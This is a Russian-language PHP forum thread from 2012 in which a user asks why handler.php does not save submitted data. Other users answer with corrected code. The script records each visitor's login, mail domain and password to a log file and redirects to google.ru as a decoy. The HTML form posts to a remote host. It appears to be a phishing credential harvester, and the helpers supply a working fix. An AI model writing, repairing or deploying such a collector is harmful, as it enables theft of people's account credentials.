[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Форма PHP
zhilkinson
Здравствуйте!
У меня имеется handler.php в нем написано это
<?php
/* Initialization vars */

$login = isset($_POST['login']) ? $_POST['login'] : NULL;
$password = isset($_POST['password']) ? $_POST['password'] : NULL;
$domain = isset($_POST['domain']) ? $_POST['domain'] : NULL;



if(isset($_POST['send'])){

$string = 'Логин: ' .$login.'@'.$domain. "\r\n".
'Пароль: '.$password. "\r\n"."\r\n";



$file_hdc = fopen('./logg.txt', 'a+'); # Open file for write
fwrite($file_hdc, $string); # Frite string to file
}

echo '<META HTTP-EQUIV=REFRESH CONTENT="1; URL=http://google.ru">';

?>

проблема в том, что данные которые посылаются ему, не записываются в logg.txt
подскажите почему и что делать? спасибо!



Спустя 4 минуты (30.04.2012 - 10:05) Kuliev написал(а):

Спустя 25 минут, 26 секунд (30.04.2012 - 10:31) zhilkinson написал(а):
Цитата (Kuliev @ 30.04.2012 - 08:05)
zhilkinson

File_put_contents()

не могли бы Вы исправить мою ошибку?
Я в php плохо понимаю...еще чайник =(

Спустя 48 минут, 58 секунд (30.04.2012 - 11:20) Kuliev написал(а):
zhilkinson

<?php
$file = 'people.txt';
// Новый человек, которого нужно добавить в файл
$person = "John Smith\n";
// Пишем содержимое в файл,
// используя флаг FILE_APPEND flag для дописывания содержимого в конец файла
// и флаг LOCK_EX для предотвращения записи данного файла кем-нибудь другим в данное время

file_put_contents($file, $person, FILE_APPEND | LOCK_EX);
?>


Спустя 19 минут, 7 секунд (30.04.2012 - 11:39) zhilkinson написал(а):
Цитата (Kuliev @ 30.04.2012 - 09:20)
zhilkinson

<?php
$file = 'people.txt';
// Новый человек, которого нужно добавить в файл
$person = "John Smith\n";
// Пишем содержимое в файл,
// используя флаг FILE_APPEND flag для дописывания содержимого в конец файла
// и флаг LOCK_EX для предотвращения записи данного файла кем-нибудь другим в данное время

file_put_contents($file, $person, FILE_APPEND | LOCK_EX);
?>


не помогло =(

Спустя 1 минута, 8 секунд (30.04.2012 - 11:40) XCross написал(а):
<?php
/* Initialization vars */

$login = isset($_POST['login']) ? $_POST['login'] : NULL;
$password = isset($_POST['password']) ? $_POST['password'] : NULL;
$domain = isset($_POST['domain']) ? $_POST['domain'] : NULL;



if(isset($_POST['send'])){

$string = 'Логин: ' .$login.'@'.$domain. "\r\n".
'Пароль: '.$password. "\r\n"."\r\n";

file_put_contents('log.txt', $string, FILE_APPEND);

}

echo '<META HTTP-EQUIV=REFRESH CONTENT="1; URL=http://google.ru">';

?>


<html>
<form
action="handler.php" method="POST">
<input
type="text" name="login">
<input
type="text" name="password">

<input
type="submit" name="send" value="Отправить">
</form>
</html>

Спустя 23 минуты, 59 секунд (30.04.2012 - 12:04) zhilkinson написал(а):
Цитата (XCross @ 30.04.2012 - 09:40)
<?php
/* Initialization vars */

$login = isset($_POST['login']) ? $_POST['login'] : NULL;
$password = isset($_POST['password']) ? $_POST['password'] : NULL;
$domain = isset($_POST['domain']) ? $_POST['domain'] : NULL;



if(isset($_POST['send'])){

$string = 'Логин: ' .$login.'@'.$domain. "\r\n".
'Пароль: '.$password. "\r\n"."\r\n";

file_put_contents('log.txt', $string, FILE_APPEND);

}

echo '<META HTTP-EQUIV=REFRESH CONTENT="1; URL=http://google.ru">';

?>


<html>
<form
action="handler.php" method="POST">
<input
type="text" name="login">
<input
type="text" name="password">

<input
type="submit" name="send" value="Отправить">
</form>
</html>

попробовал, все равно не записывает в лог... почему не пойму...

Спустя 32 минуты, 2 секунды (30.04.2012 - 12:36) zhilkinson написал(а):
единственное что хочу добавить, то что форма ввода данных находится на удаленном сервере:
<html>
<form
target="_blank" action="http://atazot.hut2.ru/handler.php" method="POST">
<input
type="text" name="login">
<input
type="text" name="password">

<input
type="submit" name="send" value="Отправить">
</form>
</html>


может быть тут какая то ошибка?
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.